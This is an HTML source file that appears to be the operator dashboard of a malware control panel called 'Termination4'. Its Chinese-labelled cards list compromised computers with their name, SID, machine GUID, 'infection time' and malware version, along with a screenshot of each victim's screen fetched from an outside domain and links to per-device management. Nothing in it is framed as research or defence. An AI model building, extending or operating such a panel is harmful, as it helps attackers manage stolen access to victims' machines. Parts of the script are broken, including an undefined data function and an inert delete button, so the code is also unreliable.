Files

146 lines
5.3 KiB
HTML

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale = 1.0">
<link rel="stylesheet" href="/css/font.css">
<link rel="stylesheet" href="/css/xadmin.css">
<link rel="stylesheet" href="/css/win10ui.css">
<link rel="stylesheet" href="/css/theme.css">
<script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
<script type="text/javascript" src="/js/xadmin.js"></script>
<script type="text/javascript" src="/js/tables.js"></script>
<link rel="stylesheet" href="/lib/layui/css/layui.css">
<script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "Computers"}];</script>
<script src="/js/address.bar.js"></script>
<style>
.computer-card {
position: relative;
margin-bottom: 15px;
max-width: 500px;
max-height: 370px;
}
.computer-image {
width: 100%;
height: 100%;
object-fit: cover;
border-radius: 4px;
}
.computer-meta {
position: absolute;
top: 10px;
left: 10px;
background-color: rgba(0, 0, 0, 0.7);
color: white;
padding: 8px;
border-radius: 4px;
font-size: 12px;
max-width: 80%;
}
.meta-item {
margin-bottom: 4px;
}
.meta-item strong {
display: inline-block;
min-width: 100px;
}
</style>
</head>
<body>
<div id="cardList" class="layui-row layui-col-space15" style="margin-top: 5px; margin-left: 10px;"></div>
<script src="/lib/layui/layui.js"></script>
<script>
socket = io("/Termination4SocketIOSpace");
layui.use(['element', 'layer'], function () {
var element = layui.element;
var layer = layui.layer;
var cardListDiv = document.getElementById('cardList');
// 渲染卡片列表
function renderCardList(data) {
cardListDiv.innerHTML = '';
data.forEach(function (item) {
var card = document.createElement('div');
card.className = 'layui-col-md5 computer-card';
card.id = item.id; // 为每个卡片设置唯一id
card.innerHTML = `
<div class="layui-card">
<div class="layui-card-header"><strong style="font-size: 20px;">${item.pcname}</strong> | ${item.sid}</div>
<div class="layui-card-body">
<div style="position: relative;">
<img src="https://www.gvsds.com/T4/API/CMD/GetT4ComputerPCPng.api?PCMachineGUID=${item.PCMachineGUID}" class="computer-image" alt="Computer Image">
<div class="computer-meta">
<div class="meta-item"><strong>设备构建 ID:</strong> ${item.PCMachineGUID}</div>
<div class="meta-item"><strong>设备感染时间:</strong> ${item.PCreateTime}</div>
<div class="meta-item"><strong>设备T版本:</strong> ${item.PCVersion}</div>
<div class="meta-item"><strong>设备T编译版本:</strong> ${item.PCompilation}</div>
</div>
</div>
<div class="layui-btn-group" style="margin-top: 10px;">
<button class="layui-btn layui-btn-primary" onclick="xadmin.add_tab_f('T 设备管理 - ${item.pcname}', '/T4/card.html?PCMachineGUID=${item.PCMachineGUID}&PCSID=${item.sid}');">查看</button>
<button class="layui-btn layui-btn-danger">删除</button>
</div>
</div>
</div>
`;
cardListDiv.appendChild(card);
});
}
// 动态刷新
function refreshCardList() {
var currentIds = [];
var newData = getNewData();
var existingCards = cardListDiv.querySelectorAll('div[id]');
existingCards.forEach(function (card) {
currentIds.push(card.id);
});
// 删除新数据中不存在的卡片
currentIds.forEach(function (id) {
if (!newData.some(function (item) { return item.id === id; })) {
var cardToRemove = document.getElementById(id);
cardToRemove.parentNode.removeChild(cardToRemove);
}
});
// 更新或添加存在的卡片
newData.forEach(function (item) {
var existingCard = document.getElementById(item.id);
if (existingCard) {
// 这里可以根据实际需求更新卡片内容
} else {
renderCardList([item]);
}
});
}
// 使用Fetch API获取数据
async function fetchComputerData() {
try {
const response = await fetch('/API/T4/computers.api', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
});
if (!response.ok) {
throw new Error(`HTTP error! status: ${response.status}`);
}
const data = await response.json();
renderCardList(data);
} catch (error) {
console.error('获取数据失败:', error);
// 可选:显示错误提示
layer.msg('数据加载失败,请刷新重试', {icon: 2});
}
}
// 初始化加载数据
fetchComputerData();
});
</script>
</body>
</html>